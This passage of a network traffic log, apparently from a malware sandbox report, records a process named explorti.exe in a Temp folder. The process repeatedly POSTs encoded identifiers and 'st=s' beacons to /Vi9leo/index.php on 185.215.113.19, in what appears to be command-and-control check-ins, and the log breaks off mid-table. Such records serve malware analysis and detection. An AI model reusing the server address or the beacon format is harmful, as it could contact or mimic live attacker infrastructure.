Sep 1, 2024 02:49:10.411353111 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:11.182691097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49859	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:11.301707029 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:12.042551994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49860	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:12.054302931 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:12.797534943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49861	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:12.913939953 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:13.649950981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49862	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:13.659264088 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:14.420728922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49865	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:14.535377979 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:15.279601097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49867	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:15.288700104 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:16.065537930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49868	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:16.193830967 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:16.934369087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49869	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:16.944839001 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:17.702967882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49870	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:17.820816994 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:18.570468903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49871	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:18.586730957 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:19.349297047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49872	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:19.508650064 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:20.253407955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49873	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:20.262914896 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:21.014025927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49874	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:21.133462906 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:21.895838022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49875	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:21.965981960 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:22.714063883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49876	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:22.838754892 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49877	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:22.858336926 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:23.619328976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49878	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:23.743211985 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:24.513247013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:49:24.516371012 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:24.772340059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49879	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:24.894471884 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:25.640623093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49880	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:25.663074017 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:26.437809944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49881	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:26.551599026 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:27.300328016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49882	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:27.314161062 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:28.080728054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49884	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
